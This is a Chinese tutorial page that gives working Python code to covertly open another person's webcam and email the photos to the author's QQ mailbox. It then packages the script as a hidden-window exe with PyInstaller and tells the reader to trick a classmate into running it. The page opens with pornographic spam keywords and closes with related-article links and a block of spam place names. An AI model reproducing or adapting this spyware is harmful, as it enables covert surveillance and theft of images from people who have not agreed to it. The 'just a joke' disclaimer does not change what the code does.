最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)

 更新時間:2020年05月17日 09:30:07   作者:Keter_  
這篇文章主要介紹了用python打開攝像頭并把圖像傳回qq郵箱,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

前言:

如何悄悄的打開朋友的攝像頭,看看她最近過的怎么樣,嘿嘿!這次讓我?guī)銈儊韺崿F(xiàn)這個功能。

注: 這個程序僅限在朋友之間開玩笑,別去搞什么違法的事情哦。

代碼

發(fā)送郵件

使用python內(nèi)置的email模塊即可完成。導入相應的代碼封裝為一個send函數(shù),順便導入需要導入的包
注: 下面的代碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權碼,不知道qq郵箱授權碼的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '寫你的qq郵箱地址'
  receivers = '寫你的qq郵箱地址'
  message = MIMEMultipart('related')
  subject = '終于能發(fā)圖片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '寫授權碼')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打開攝像頭并發(fā)送圖片

我們使用opencv打開筆記本內(nèi)置的攝像頭,不多說上代碼

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')


使用pyinstaller將程序打包

好不容易寫好了代碼,結果同學那里沒有運行環(huán)境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個exe文件,照片還不是手到擒來。

我們使用pyinstaller來打包,沒有下載的可以先pip安裝

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我們打開cmd,cd到你的代碼所在的文件,輸入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一會,等運行完了之后你就會發(fā)現(xiàn)在你的代碼所在的文件夾里多了一個dist的文件夾,exe文件就在那里。

下面就是最關鍵的一步了!

忽悠同學

找個同學忽悠她一下

到此這篇關于用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)的文章就介紹到這了,更多相關Python打開攝像頭并保存內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家! 

相關文章

  • 在pyqt5中QLineEdit里面的內(nèi)容回車發(fā)送的實例

    在pyqt5中QLineEdit里面的內(nèi)容回車發(fā)送的實例

    今天小編就為大家分享一篇在pyqt5中QLineEdit里面的內(nèi)容回車發(fā)送的實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-06-06
  • Python實現(xiàn)PDF到Word文檔的高效轉換

    Python實現(xiàn)PDF到Word文檔的高效轉換

    這篇文章主要為大家詳細介紹了如何使用Python編程語言,結合庫和工具,將PDF文件轉換為可編輯的Word文檔,使文檔的編輯變得方便高效,需要的可以參考下
    2024-01-01
  • 詳解python的幾種標準輸出重定向方式

    詳解python的幾種標準輸出重定向方式

    這篇文章是基于Python2.7版本,介紹常見的幾種標準輸出(stdout)重定向方式。顯然,這些方式也適用于標準錯誤重定向。學習python的小伙伴們可以參考借鑒。
    2016-08-08
  • python實現(xiàn)監(jiān)控阿里云賬戶余額功能

    python實現(xiàn)監(jiān)控阿里云賬戶余額功能

    這篇文章主要介紹了python實現(xiàn)監(jiān)控阿里云賬戶余額功能,本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-12-12
  • python 基于AioHttp 異步抓取火星圖片

    python 基于AioHttp 異步抓取火星圖片

    這篇文章主要介紹了python 基于AioHttp 異步抓取火星圖片的方法,幫助大家更好的理解和學習使用python,感興趣的朋友可以了解下
    2021-03-03
  • Django如何與Ajax交互

    Django如何與Ajax交互

    Django前端模板向后端發(fā)送POST請求主要有兩種方式:form表單和ajax請求。本文將詳細介紹Django與Ajax的交互方式,如何通過csrftoken認證,并提供了兩個具體示例。
    2021-04-04
  • python實現(xiàn)爬蟲統(tǒng)計學校BBS男女比例之數(shù)據(jù)處理(三)

    python實現(xiàn)爬蟲統(tǒng)計學校BBS男女比例之數(shù)據(jù)處理(三)

    這篇文章主要介紹了python實現(xiàn)爬蟲統(tǒng)計學校BBS男女比例之數(shù)據(jù)處理,需要的朋友可以參考下
    2015-12-12
  • 在python3.9下如何安裝scrapy的方法

    在python3.9下如何安裝scrapy的方法

    這篇文章主要介紹了在python3.9下如何安裝scrapy的方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-02-02
  • Python下opencv使用hough變換檢測直線與圓

    Python下opencv使用hough變換檢測直線與圓

    在數(shù)字圖像中,往往存在著一些特殊形狀的幾何圖形,像檢測馬路邊一條直線,檢測人眼的圓形等等,有時我們需要把這些特定圖形檢測出來,本文就詳細的介紹了一下方法
    2021-06-06
  • 關于Python自動化操作Excel

    關于Python自動化操作Excel

    這篇文章主要介紹了關于Python自動化操作Excel, Python 是一種功能強大的編程語言,可以用于許多任務,包括處理 Excel 文件,需要的朋友可以參考下
    2023-04-04

最新評論

普格县| 凤冈县| 喀喇沁旗| 安化县| 龙江县| 兴化市| 剑河县| 岳阳市| 普宁市| 迁安市| 名山县| 岳阳县| 瑞昌市| 大化| 台江县| 邻水| 田阳县| 三穗县| 双城市| 衡东县| 文成县| 江孜县| 乌海市| 正阳县| 贺兰县| 丰都县| 河西区| 平阳县| 开封市| 双牌县| 洛隆县| 科尔| 高碑店市| 红原县| 安顺市| 吴忠市| 特克斯县| 安丘市| 西平县| 饶平县| 定安县|